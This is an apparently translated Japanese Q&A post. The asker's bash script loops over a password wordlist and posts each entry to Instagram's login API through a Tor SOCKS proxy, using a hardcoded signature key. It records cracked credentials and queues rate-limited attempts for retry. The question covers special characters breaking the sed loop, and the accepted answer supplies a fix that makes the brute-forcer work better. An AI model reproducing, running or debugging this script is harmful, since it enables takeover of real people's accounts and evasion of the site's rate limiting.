同様の特殊文字! # @sed を使用してファイルの次の行に移動する際に問題があります。

同様の特殊文字! # @sed を使用してファイルの次の行に移動する際に問題があります。

forループとsedを使用してファイルの各行を繰り返しURLに送信するこのbashスクリプトを試しています。 tst244やanothersampleなどの単語を使用すると、スクリプトは正常に機能しますが、行にtest-1!@#またはexample \ 34143 * 9などの単語が含まれていると機能しません。

これは私のコードです。

 for pass in $(sed -n ''$startline','$endline'p' $wl_pass); do

これは文字を避けるときに得られる出力です(より明確にするためにコードの印刷された部分は含まれません)。

Sending (78/100): "01012011"
Sending (79/100): "69696969"
Sending (80/100): "december"
Sending (81/100): "11223344"
Sending (82/100): "godzilla"
Sending (83/100): "airborne"
Sending (84/100): "lifehack"
Sending (85/100): "brooklyn"
Sending (86/100): "platinum"

文字として出力:

Sending (285/68814): "test&0525"
Sending (286/68814): "test 0079770525"
Sending (287/68814): "test 007"
Sending (288/68814): "test 525"
Sending (289/68814): "TEST007977"
Sending (290/68814): "TeSt0525"
Sending (291/366): "68814"
Sending (test_0079770525/): ""
Sending (292/367): "68814"
Sending (test_007/): ""
Sending (293/368): "68814"
Sending (test_525/): ""

次の単語を使用する部品の完全なコード:

while [ $counter -lt $turn ]; do

IFS=$'\n'
for pass in $(sed -n ''$startline','$endline'p' $wl_pass); do
count_pass=$(wc -l $wl_pass | cut -d " " -f1)
header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'

data='{"phone_id":"'$phone'", "_csrftoken":"'$var2'", "username":"'$user'", "guid":"'$guid'", "device_id":"'$device'", "password":"'$pass'", "login_attempt_count":"0"}'
ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178"
IFS=$'\n'
countpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2)
useragent='User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'

let counter++
printf "\e[1;77mTrying pass (%s/%s)\e[0m: \"%s\"\n" $countpass $count_pass $pass

{(trap '' SIGINT && var=$(curl --socks5-hostname 127.0.0.1:9051 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.instagram.com/api/v1/accounts/login/" | grep -o "logged_in_user\|challenge\|many tries\|Please wait" | uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [*] Challenge required\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ > /dev/null 2>&1  ; elif [[ $var == "logged_in_user" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$  > /dev/null 2>&1 ; elif [[ $var == "Please wait" ]]; then echo $pass >> nottested.lst ; elif [[ $var == "" ]]; then echo $pass >> nottested.lst ; fi; ) } & done; pid1=$! ; #;wait $!;

let startline+=20
let endline+=20

done

}

コードの印刷部分:

count_pass=$(wc -l $wl_pass | cut -d " " -f1)
countpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
printf "\e[1;77mTrying pass (%s/%s)\e[0m: \"%s\"\n" $countpass $count_pass $pass




ベストアンサー1

sedステートメントは変数を使用するときに二重引用符を使用することをお勧めします。bashがバックスラッシュを拡張せずに感嘆符を解釈しないようにするには、次のようにread -rを使用するように変更できます。

while read -r pass do
    #... code here ...
done < <(sed -n "$startline,$endline"'{s/!/\x21/g;p}' "$wl_pass")

ループ内で$passprintfまたはを使用すると、echo -e感嘆符が再び表示されます。

おすすめ記事